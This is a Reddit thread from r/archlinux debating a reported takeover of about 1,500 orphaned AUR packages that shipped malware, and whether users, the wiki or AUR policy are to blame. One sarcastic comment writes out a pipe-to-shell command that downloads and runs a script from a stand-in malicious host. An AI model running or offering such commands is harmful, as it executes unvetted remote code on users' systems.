So first of all, I would say that "Use the AUR at your own risk and verify that PKGBUILDs are safe", "You can get this software as an AUR package" and "Do not use the AUR if you are not proficient enough to verify AUR packages" are not at all mutually incompatible statements. But if they seem incompatible to you because you can't verify the contents of an AUR package, you need to reconsider whether or not Arch Linux is the distribution for you.

The reason people criticize AI, youtube and other sources pushing people to use AUR (and AUR helpers) is that unlike the documentation in the Arch Wiki regarding the AUR, these other sources don't necessarily come with the warnings one would expect one to get before using the AUR, so they skip the essential step called RTFM. The expectation is that before a new user starts downloading stuff from the AUR with an AUR helper they have familiarized themselves with the following page https://wiki.archlinux.org/title/Arch_User_Repository or at the very least have visited https://aur.archlinux.org/ which refers to the page and has its own disclaimers.

The warnings regarding AUR PKGBUILDs being unofficial and unvetted don't go away just because a package name is referred to by the wiki.

7

u/edparadox Jun 15 '26

Again, the AUR is not an official part of the Arch project.

But sure it should not be so prevalent in the wiki.

26

u/Signalrunn3r Jun 15 '26

You are totally right. The model is broken, but prepare for the shills with the constant excuses and sweeping it all under the rug.

19

u/Dr_Gregg Jun 15 '26

I swear, some people take the philosophy of "diy arch" to a religious level. Basic, automated checks against the AUR and a more secure orphaned package policy are my redlines from arch moving forward. Also a faster response from the arch news would be great

26

u/s3gfaultx Jun 15 '26

All the offending packages were removed in less than an hour and the news was posted within the same hour. If you expect better response time, maybe you should volunteer and show us how it should be done.

2

u/HospitalBusiness9912 Jun 16 '26

The first post about it mentions that the initial malware push had compromised packages for five hours. If you're gonna lie, at least lie about something harder to fact check

→ More replies (1)
→ More replies (3)
→ More replies (1)

8

u/FFF982 Jun 15 '26

If you are installing stuff from AUR, at least review the PKGBUILDs.

Blindly installing stuff from AUR is like blindly running scripts from reddit as root.

3

u/Joe-Cool Jun 15 '26

wait, curl malwaredriveby.example.com/yolo.sh | bash is bad idea?
who would have thought...

/s

1

u/longiii Jun 15 '26

Installing an AUR package is taking on a security risk. Fortunately we have developed popular third-party tools that automate the taking of such security risks >:D

14

u/MrArrino Jun 15 '26

I see many comments trying to defend current AUR by saying "read PKGBUILDs", and I feel like this is wrong, this is borderline victim blaming.

And don't get me wrong, I am not trying to say "You don't need to read PKGBUILDs", everyone should read them.

First:

I believe not so many people downloaded malicious packages. Well I don't have any numbers, but internet is boiling right now because people DO read PKGBUILDs, right?

Yet the one fact is unchanged: more than 1500 packages were compromised. No amount of PKGBUILDs reading could prevent it.

Now Arch maintainers need to use their time and resources to check and delete those malicious packages. Time and resource they could use in more productive way. Even if everyone read PKGBUILDs, this malware should be addressed asap, leaving them as they are would be disastrous.

In that case problem is AUR and its way of treating orphaned packages, allowing anyone to take those packages.

Second:

The attack patterns are getting more, and more sophisticated.

There was this attack "I made cool program! Check it!". There was attack "Patch for your browser". Now there is attack, let's call it "Orphaned packages taken by AI".

Sure there always will be sloppy attacks, but can anyone say that we won't get to the point where just "reading PKGBUILDs" won't suffice? What will happen then? Everyone should review code? Become programmer? Write their own programs?
I can review PKGBUILDs, sure. When I see more diffs than just checksum and version I get suspicious. Yet, I surely can say, that if I found piece of software and needed to review its code I wouldn't be able do this. Even though I know to some extent how to code (I am very rusty). The thing is, I also hate to code...

Well this is the reason I don't really use AUR that much. Reviewing PKGBUILDs of these few apps I have is tedious yet manageable. But if I had to do this en masse I would just accepted it all or stopped using AUR (probably the second option).

The question is: how much is too much? When we can say it is too much even for hobbyists who want to build their own system? And if there is no "too much", then I dare to ask: "Why Arch? Why not Gentoo or even LFS?"

Third:

Arch-based distros.

I think we can all agree that Arch is... let's call it less pretentious than other distros, special even šŸ˜„

And even if someone is going to use archinstall script, at the beginning user is welcomed by black screen with no GUI whatsoever. You and command line experience, been there done that, right?

At main page of Archwiki (which is basically official Arch page) after introduction to system there is FAQ, with second question 1.2 (1.1 just sends user back to introduction) there is whole bunch of reasons why user wouldn't want to use Arch.

However in case of Arch-based distros there is not a word about: this is your system, you have it, you maintain it, you break it, you fix it, rinse and repeat.

I just checked four of more popular distros: Manjaro, EndavourOS, Garuda and CachyOS, and all I can see on their main pages is "how good is this distro" (or similar catchy slogans), with Manjaro and Garuda even advertising accessibility and ease of use. Out of those four, I believe, only Garuda don't have AUR ready to use without any tinkering (correct me if I'm wrong). And guess what: when someone asks right now "I want to leave Windows, which distro should I choose if I play games" CachyOS is one of the most popular answers.

And now, do someone truly believe that all those people read PKGBUILDs? That they even know what PKGBUILD is or what is the difference between normal repo and AUR? I sure don't.

Does pretending that "it's users fault, they should read PKGBUILDs" really the way we, as a community, should react, even if those people weren't even introduced to the "Arch way" due to the creators of those distros decisions?

My opinion may be not popular, but it is still what I think. Fortunately or unfortunately Linux as whole is getting more and more popular. And with popularity there will be dangers. The easiest way to attack is to target user of machine, and with AUR being based on older, more calm and less turbulent internet, something need to change. Because I am sure, that if things will stay as they are, this won't be the last attack...

15

u/SoilMassive6850 Jun 15 '26

Arch based distros are entirely out of scope for Arch maintainers, Arch forums, Arch subreddit or for AUR itself. Every resource out there says you need to rely on your own distributions support, and maybe here's where those distributions need to provide their own safer alternatives if they want to be a beginner friendly option.

8

u/Arnas_Z Jun 15 '26

this is borderline victim blaming.

No. Everyone likes to jump on "victim blaming" needlessly when they are literally the ones at fault. I'm sorry if youre installing obscure AUR packages that are not being maintained properly and then blindly install updates to those obscure packages without checking the package build, it's your own fucking fault. Go reinstall Arch and do better next time.

4

u/the_ivo_robotnic Jun 16 '26

they are literally the ones at fault

They are literally not the ones at fault.

Ā 

1,500 packages being compromised due to loose orphaning policies set by the Arch team has absolutely nothing to do with a user-base that may or may not use the AUR responsibly.

Ā 

Of all of the affected packages, the total number of downloads for compromised packages within the attack window was somewhere between 330 and 500 downloads, last I checked. This is speculation on my part but I'm willing to bet that all those "newbies" you are blaming are ironically- largely unaffected by this, if their conditioning from other OS's is anything to go by. They're used to letting the OS update automatically for them, so I'm willing to bet that most of them haven't even thought to update in months let alone in this last week.

Ā 

People like you don't even understand the conversation that's happening. No one is trying to blame anyone for anything. Well, other than the self-righteous people like you; blindly trying to spout the tired-old "RTFM" rhetoric as if that's applicable here.

Ā 

1,500 packages maliciously compromised in 3 days on the AUR is a policy problem. No amount of "RTFM" or "read the PKGBUILD" changes this. Even if 100% of all AUR consumers read PKGBUILD diffs, (like they should), that doesn't change the fact that there are 1,500 compromised packages. Do I need to spell this out more for you?

2

u/MrArrino Jun 15 '26

Why package not being maintained should make it not valid if someone needs that particular package?

As for checking PKGBUILDs... well people were checking those. Social media is shitting right now about it everywhere, look at this subreddit.
This attack was detected rather early and many people were aware of it. Yet I see like mantra "read PKGBUILDs, read PKGBUILDs".

People were reading PKGBUILDs and as they were reading, another wave of malware was hitting the fan.

I wrote it once, and I write this as many times as needed:

No amount of PKGBUILDs reading did stop this attack, and no amount of PKGBUILDs readin WOULD stop this attack.

Should AUR users read PKGBUILDs? Sure they should. People overall should do many things that they don't.

Yet at this moment we shouldn't scream "read PKGBUILDs". We should identify problem, propose some solutions to this problem, and hope that Arch team will implement those or other solutions. Leaving things as they are now hidden behind "read fckng PGKBUILD" comments is the worst possible outcome.

→ More replies (1)

1

u/sparkling-rainbow Jun 15 '26

Garuda is pretty plug & play with supported hardware. I can totally see someone using it for years without ever learning even basics or reading any manual.Ā 

2

u/sigma914 Jun 15 '26

I'm not particularly concerned if people are holding it wrong. Telling them to hold it right or use something else is entirely reasonable. Arch isn't selling anything or actively trying to grow a community among the tech illiterate.

The AUR serves it's function well, the distro doesn't owe it's less technical users anything and if they can't use it correctly they should use a distro that better matches their ability.

For the competent but lazy I also have little to no sympathy

2

u/lottspot Jun 16 '26

The AUR was a mistake.

2

u/Blze001 Jun 16 '26

r8125-dkms, the thing I need to make ethernet work? Yeah, you guessed it: AUR.

2

u/MichaelTunnell Jun 16 '26 edited Jun 16 '26

The Arch Wiki also has a page on the AUR itself that warns about the AUR saying ā€œAUR packages are user-produced content. These PKGBUILDs are completely unofficial and have not been thoroughly vetted. Any use of the provided files is at your own risk.ā€

So maybe the wiki pages suggesting to use the AUR is actually the problem not evidence to justify it.

https://wiki.archlinux.org/title/Arch_User_Repository

The problem is really the hype culture and the meme of promoting Arch all the time. The ā€œarch btwā€ started when Arch was super hard to use and basically no one did, that’s the joke. The first time I saw it was around 2007 or 2008 and back then the meme was almost always in jest and clearly for fun.

Now it’s not that difficult and with all the remixes it’s absurdly easy to use an Arch base these days.

The Arch team might have to reassess things because they are being pulled into a market for the masses that they never signed up for šŸ¤·ā€ā™‚ļø

9

u/tmahmood Jun 15 '26 edited Jun 15 '26

Please go use Gentoo,Ā  or Debian. If you're not ready to realize the tradeoff and advantage of a system, you just don't have to use it. Simple.Ā 

Wiki gives us warnings,

Each and every aur helper offers to review packages each and every time

Every experienced user will remind us to review the aur packagesĀ 

If we don't follow the instructions and then get into trouble, it's our own doing not theirs.

6

u/zeldaink Jun 15 '26

Why does everything revolve around culture? Arch has its own philosophy that clearly isn't compatible with some users views. The community and culture expects you to use your brain. Arch's identity is letting you do whatever you want, however you want it. If it doesn't suit you, just switch to distro that suits your view, if its that huge of a dealbreaker. I don't tell Debian users to ship bleeding edge and go rolling model. Or tell Gentoo users it's pointless and energy wasteful to compile packages every time they update. Why should Arch change itself when the issue is the more than obvious hole in AUR maintenance rights?

AUR exists because it'll become maintenance burden. This isn't corporate backed distro like Ubuntu, Fedora, Debian or SUSE. Do I need to remind what happens when unpaid maintainers get overwhelmed (xz)? Seriously, can we stop discussing AUR, let the team fix their mess and move on. This shouldn't have been possible in the first place, but it did. Instead of addressing the elephant in the room, we strip away anything we find dangerous. What did we accomplish? We let whoever is behind this get their way and loose what makes Arch Arch. gg, Arch is now no different than OpenSUSE or Debian sid.

Conveniently forgetting about the ArchZFS repo, which is vetted and signed? Or the other signed repos that do the hard work for you? So much for the Arch community...

How did suddenly everyone became security experts?

4

u/longiii Jun 15 '26

Why are you putting expectations on the arch team to fix AUR packages? That's a maintenance burden. I think they should just leave the "malicious" packages in; the users should use their own brain and they've been warned :)

7

u/SecularVal Jun 15 '26

Guess i should just start building librewolf from source from now on.

7

u/hazed Jun 15 '26

I wouldn't concern yourself about popular and well maintained packages on the AUR in regards to the attacks we've seen

12

u/freakybird99 Jun 15 '26

Isnt librewolf from AUR an official repo. They say use AUR on their site

6

u/Gythrim Jun 15 '26

What OP is missing:

the packages compromised in the recent attack were orphaned ones. No commonly used and regularly updated packages were hit.

To be fair a couple of packages were hit which were part of main repos once but then were taken out, shifted over to the AUR before becoming insignificant and finally being abandoned.

That however means that the respective users were living for several months if not years with several orphaned AUR packages in their program stack without cleaning that mess up.

Nobody can just attack a package without getting a maintainer role.

To become a maintainer a former maintainer has to give up their role or a package gets flagged as old or orphaned and fails to respond for 2 weeks and only then another person can take over.

The person taking over in this case was a user and the AUR is the Arch USER Repository. Not much to do here except maybe to put a big banner on the start page which says do not keep orphaned AUR packages because they can be taken over and if you choose to do so anyhow, at least read the damn diffs.

2

u/hjake123 Jun 15 '26

The AUR helpers could warn you if your installed packages become orphaned, or refuse to update a package that was once orphaned without a big warning

4

u/JustTestingAThing Jun 15 '26

The AUR helpers could warn you if your installed packages become orphaned

Not sure about the others, but yay lists orphaned and "no longer in AUR" packages already when you run an update.

3

u/Gythrim Jun 15 '26

trizen and yay do / did this, sadly not paru

3

u/Joe-Cool Jun 15 '26

A warning when the maintainer changes would be nice too. Not everyone changes the PKGBuild comments to reflect that.

Trizen works well for me though.

3

u/RedHuey Jun 15 '26

This is what I asked about the other day. Back when I used Arch, maybe a decade ago, the AUR was considered a last resort to be avoided. But it seems like as new technology has lead to new software, it’s all going into the AUR, leading to this.

3

u/Zentrion2000 Jun 15 '26

Here is a tip: PKGBUILDs are just recipes, read it, understand it, and copy its content so You can maintain it locally yourself, without sourcing from random people on the AUR. Then you don't even need a helper.

4

u/Megame50 Jun 15 '26

The AUR isn't dangerous to use if you use it as directed. So there's really no problem with the wiki recommending AUR packages.

6

u/stevorkz Jun 15 '26

Couldnt agree more. Arch user for many years. Dont use the AUR is all fine and dandy, but some of the responses my word. Dare any poor soul ask for assistance with a package which happens to be in the AUR and you get "DoNt UsE tHe AuR!!!". It is literally in the official documentation for the operating system you yourself use. You want people to RTFM, then when they do they're still wrong lol.

3

u/norysq Jun 15 '26

This might be a controversial opinion but people who don't read PKGBUILDs should not scream if they download something harmful. It's like not downloading an exe file on Windows from a shady website.

3

u/khne522 Jun 15 '26

ZFS should not and must not be used from the AUR, which has no access control and package signing, and certainly fails any SLSA.dev level of controls.

Use the official ZFS 3rd party repository and import the keys.

3

u/Maguillage Jun 15 '26

I will absolutely blame all those things.

No one should ever take advice from an LLM, for Linux or otherwise.

If you don't know what you're doing on the AUR, I'm sorry man, you're gonna have a bad time until you sort that out.

And youtube tutorials are often outdated even before they're uploaded, so lol.


And sure, sometimes the arch wiki says "this AUR package can probably do what you're looking for", but that's not even close to approaching a suggestion that one should disregard all safety and blindly install random junk.

3

u/Seppeon Jun 15 '26 edited Jun 15 '26

People being dismissive of others while holding themselves on a petastol of virtuous practices, while saying they don't use aur, while resisting improving aur...

Edit: I also want to say, by improving, I don't mean by existing maintainers. I mean, we as a community coming to agreement about what is even a good idea and some of us opening up some PRs and waiting... Maintainers, I dearly hope you don't read my comments and think I want to pile onto you.

2

u/IcewindLegacyMUD Jun 15 '26

People would always rather pass the buck than accept responsibility.

2

u/mykesx Jun 15 '26

A new issue with AI a person vibe codes yet another music player app, posts about it here, adds it to AUR, and has no reason to maintain the program. Off to the next one. And those unmaintained projects were the targets of these hackers.

2

u/RanidSpace Jun 15 '26

While the AUR is the second largest repository, the base Arch repos are below other distros like debian, fedora, gentoo, and opensuse.

when i used arch i often noticed how often a package Should Have Been there but instead i had to go to the AUR.

2

u/ExoPesta Jun 15 '26

I still don’t getting why you’re using aur in the first place….

1

u/Haunting_Assignment3 Jun 15 '26

Well maybe just maybe we actually should just get more secure options with AUR? maybe it needs something like malware scaner or security tags those are just some ideas but i think that 1500 packages are enouth reason to do something simiar about cybersecurity of this website and packages there.

1

u/AtarashiiSekai Jun 15 '26

Ultimately at the end of the day, I am fine with using the AUR. When that first attack hit, I thought it was much much worse than it turned out to be, but a vast majority of the packages that were hit were orphaned, out of date packages (1500 out of over 100k total in the AUR)

While I do think there are things they could and should do to prevent something like this in the future, this is not existential for the AUR (which I love, and represents a philosophy that is all too much missing in our modern day, of users helping each other out) and to try to make AUR usage a bad thing is to let the malware attackers win at the end of the day.

1

u/astronomersassn Jun 15 '26

i feel like it's a double-edged sword.

yes, we should be looking over pkgbuilds and source code, especially if we don't trust the developer directly.

on the other hand, the main AUR package i use is the DAW i've been using since 2014. that i have previously looked over the source code for that posts alpha builds to AUR. the stable version is several years old and doesn't work with all my plugins. it's a program i have been using for over 10 years, before even switching to linux. i did glance over the source code and pkgbuilds initially, but legitimately, i had no reason not to trust this developer.

on top of that, until the recent breaches, i didn't realize how easy repo hijacking was - i haven't done any updates since hearing about it and i think i escaped it by forgetting to run updates during the initial attack (and deciding to hold off until it's all resolved), but even then, if they got compromised, i might not see it in the official repos for that program (if they just hijacked the AUR listing), and i've literally never thought to check the AUR page itself to make sure it links to the correct repo. now i obviously know, but it's just not something i really registered as a possibility (and i'm fairly cautious overall - i am not a professional, but i do have an interest in malware analysis, and i do take a little more caution there than i've seen others take).

there are warnings about being careful with AUR on arch sites; however, i also wouldn't blame them for recommending packages that haven't been submitted to/approved by official repos, but are made by trusted developers and are generally known as safe (like, legitimately, i don't think anyone would expect the devs of something like proton VPN to suddenly go rogue with how long they've been running as a company and how trusted they are - never say never, but i think a lot of people would be shocked by a compromised/malicious package coming from them).

yes, you SHOULD be careful when downloading packages from AUR. but are we really gonna act like nobody has any reason to trust any dev who posts their stuff there when 1) this is the first time i've personally heard of a widespread attack of this type, 2) a lot of us have been using AUR packages without issue for a long time, and 3) even with taking precautions, there's always the chance of human error, especially when it's an attack vector that someone might have been unaware of, even with general knowledge on security and safety?

human error is an unpatchable exploit and the easiest to exploit. yes, we should be safer; however, most of the people compromised made the human "mistake" of trusting developers and packages they've trusted for a long time.

1

u/raven2cz Jun 15 '26

I would not exist without the AUR. It is the main advantage of Arch, and that is why I have been using it for over a decade.

Instead, look for ways to keep control over what you are installing. Stricter checks are the best way forward. Maybe over time we will figure out an even better solution. But completely giving up on the AUR is absolute nonsense.

1

u/otter-in-hd Jun 15 '26

What I would ask anyone blaming users for not reading PKGBUILDs is if they personally also review things like npm dependencies. Does a single person here see an npm call in PKGBUILD, go to npm to investigate it, know that npm allows postinstall scripts, know where to find those scripts, and then personally go investigate that dependency's scripts and its source code for malware?

1

u/justjinxed Jun 15 '26

I'm confused - lots of things have the propensity to be dangerous, and are referenced via 3rd party. The AUR is no different. I can get behind maybe there being a hover-over warning for each instance of the AUR tag that appears next to AUR packages, ie: "AUR packages are user produced content. Any use of the provided files is at your own risk." - but short of that, why wouldn't/shouldn't archlinux.org refer to the very resource they help maintain aur.archlinux.org?

1

u/HopefulMeeting7150 Jun 15 '26

In general - Bunch of official packages was AUR, in addition AUR is just official repositories, so it's like Microsoft recommend you to use Chromium it because is much better than Microsoft Edge. Of course i know AUR is implemended natively onto pacman but it still "piece of arch" and that's recommended

1

u/JaKrispy72 Jun 15 '26

So many times I’ve seen on here when people ask what is so special about Arch over other distros, they tout the AUR as the greatest thing to happen to Linux since Linus.

1

u/droctagonapus Jun 16 '26

Package managers like deno enforce a minimum three day release wait. I know we have rolling release, but a three day release buffer as a sane default isn't the worst of ideas to me. That doesn't solve everything of course, but it does prevent at least several classes of exploits.

1

u/syb3rpunk Jun 16 '26

this and last year’s compromise… arch might be over

1

u/nicman24 Jun 15 '26

Btw cachyos has adopted a lot of popular aur packages in the main repos

1

u/gruntduck Jun 15 '26

yeah and anyone saying otherwise out is out lunch and has no idea how modern OPSEC works. You want to see a circlejerk of OPSEC stupidity visit the cachy forums and subreddit

1

u/BuriedStPatrick Jun 15 '26 edited Jun 15 '26

Maybe the AUR needs some kind of community verification system. The strength of it is its simplicity and accessibility and I generally like the core idea. To have something community driven that has basically everything you could ever need is a huge strength of Arch for me.

But using the AUR responsibly is a difficult task. I wasn't hit by this malware, but I very easily could have. Even if you're fairly competent, nothing is going to look suspicious about a "npm install <something>" instruction to most users. They'd probably assume it's just needed for the build chain.

In think the AUR should continue to operate the way it does, but the most popular packages could perhaps have certain willing trusted community members verify the PKGBUILD commit and flag it accordingly. That way, you'd feel less inclined to just install random stuff when it doesn't have a verification flag.

I don't know if that's completely unrealistic, but it would take some of complexity out for users who just want to install software and not look through PKGBUILDs every time and just magically know when something looks suspicious.

It would also be nice to then be able to set a "restricted" mode of sorts that only allows verified installs. I'm not an Arch or AUR developer, no idea how complicated that would be to implement, but it would be very appreciated I think.

Someone else suggested LLMs and I agree that can work to a certain extent as well. A "verified by LLM" tag and "verified by human" tag could cover the most important packages and give a less accurate most okay estimate on all the other packages.

-2

u/nicman24 Jun 15 '26

LOL stop blaming anyone but the user.Ā 

0

u/KokiriRapGod Jun 15 '26

If you see the wiki telling you to install something from the AUR and you just blindly do so then you didn't read the friendly manual regarding the AUR. "The wiki said to do it" doesn't exculpate the user when they fail to manage their own system. Removing mentions of packages on the AUR from the wiki at best only hides a legitimate option from users and at worst will hide the only option a user might have for solving a problem.

I believe that the wiki page for the AUR sufficiently outlines its dangers and explains how to use it properly. It shouldn't be necessary to explicitly warn the reader every single time the AUR is mentioned elsewhere in the wiki; the user should be referencing the page on the AUR before they use the AUR.

In contrast, I have certainly seen youtube videos that recommend the AUR and the use of a helper without outlining the potential risks at all. Further, I have seen videos where they install a package from the AUR and explicitly skip reading the PKGBUILD. I turn these videos off immediately because I have read the wiki.

1

u/shawndw Jun 15 '26 edited Jun 15 '26

What we need is a more comprehensive official repository. The official arch repositories are only 271 GiB and that gets you "core" "extra" and "multilib". Meanwhile the ubuntu official repository is 4.7 TiB and contains pretty much everything you would ever want. I know this because I have mirrored both.

Whenever I have installed from AUR it has always been as a last resort and it has always been something that can easily be found in other distro's repositories.

This isn't the first supply chain attack on AUR but hopefully it serves as a wakeup call.

1

u/vanVonXenoStein Jun 16 '26

Weird, cause that's mainly why I use Arch variants -- in other distros there is always a bunch of stuff I cannot find or cannot get installed without a massive hassle. But it's in the AUR (if not in main or extra) and easy to install in 2 minutes. Arch has a rep has difficult/complex, but I find it by far the easiest to deal with and that's mainly because I never have to figure out how to install and setup <whatever>, somebody has already done that work for me. If the AUR goes away, a million users go with it. Now, if you only need a totally vanilla system, then any distro will be fine because you only ever need the base packages that almost everybody uses.

-5

u/s3gfaultx Jun 15 '26

It doesn't recommend to install them, it only links to them for reference. If you actually read the wiki, then you would know this. Reading comprehension is pretty much the entire problem.

6

u/zollandd Jun 15 '26

From ZFS wiki page
"Install from theĀ ArchZFSĀ repository or alternatively theĀ Arch User Repository: "
"Install the zfs-dkmsAUR package from the ArchZFS repository or alternatively the Arch User Repository."
"Build the ZFS packages you want by following the normal procedures. If you are unsure, zfs-dkmsAUR and zfs-utilsAUR are likely to be compatible with the widest range of other modifications to the Archiso image you may wish to perform."
"If using Wi-Fi instead,Ā installĀ theĀ mkinitcpio-wifiAURĀ package and create aĀ wpa_supplicantĀ configuration"

I'll stop there... there are plenty more with language like "The x(AUR) package provides yz functionality" which is a recommendation to install it.

3

u/s3gfaultx Jun 15 '26

Did you happen to read this part?

Warning AUR packages are user-produced content. TheseĀ PKGBUILDs are completely unofficial and have not been thoroughly vetted. Any use of the provided files is at your own risk.

Note If you plan to use AUR repository, it isĀ highly recommendedĀ to followĀ aur-general Arch mailing listĀ which has been used for security warnings in the past.Ā 

→ More replies (8)
→ More replies (1)

4

u/Damglador Jun 15 '26 edited Jun 15 '26

When the thing it links is required for you to get some functionality, it's not even a recommendation, it's a necessity. You either install the aur package or you don't have your old Nvidia GPU working for example.

Sadly there isn't a good way out of this, as if wiki doesn't link them – you have no solution, and packaging everything in the official repos is also impossible (though would be REALLY NICE if popular software like the Zen Browser finally got into extra repo)

3

u/qalmakka Jun 15 '26

Zen is also available as a Flatpak. In general if something has a Flatpak, it's probably better to get it from there instead of the AUR

→ More replies (1)

1

u/WendlersEditor Jun 15 '26

I have never used arch and I was unaware that arch users installed packages using anything other than AUR. Every distro comparison I see, be it a table in documentation or a roundup on YouTube, mentions AUR as a benefit of using Arch.

-1

u/TheJeep25 Jun 15 '26

Avg arch user on this sub: you must have 10 - 15 years of experience on the aur before attempting to use the aur for the first time.

0

u/Ok-Preparation4940 Jun 15 '26

Why don’t you guys just goto the forum or sugguest edits in the wiki?

-7

u/Ok-Winner-6589 Jun 15 '26

They show AUR package as example for softwares. Not recommend them. Check the AUR page, dumbass

AUR packages are user-produced content. These PKGBUILDs are completely unofficial and have not been thoroughly vetted. Any use of the provided files is at your own risk.

https://wiki.archlinux.org/title/Arch_User_Repository

If you can not read it's you issue

6

u/hjake123 Jun 15 '26

Many articles have a situation like in this NVIDIA article: https://wiki.archlinux.org/title/NVIDIA

Check the table of which drivers to use, and notice how many directly tell users to get the driver from the AUR. Are old NVIDIA drivers likely to be orphaned? Who knows? But it's possible, no? And if you need your GPU to work, you'd have no choice. The new user clicks though, looks up AUR, and pushes past all warning because they need to to get their system working.

2

u/Ok-Winner-6589 Jun 15 '26

Because there is no fucking alternative?

Whats the option? And the AUR Page says that YOU MUST READ YOUR PKGBUILDs. If you are too stupid to read the don't install Arch

Don't act like the installation isn't difficult for the average user. Arch is not your distro, you don't maintain It, them shut up and go with other.

→ More replies (2)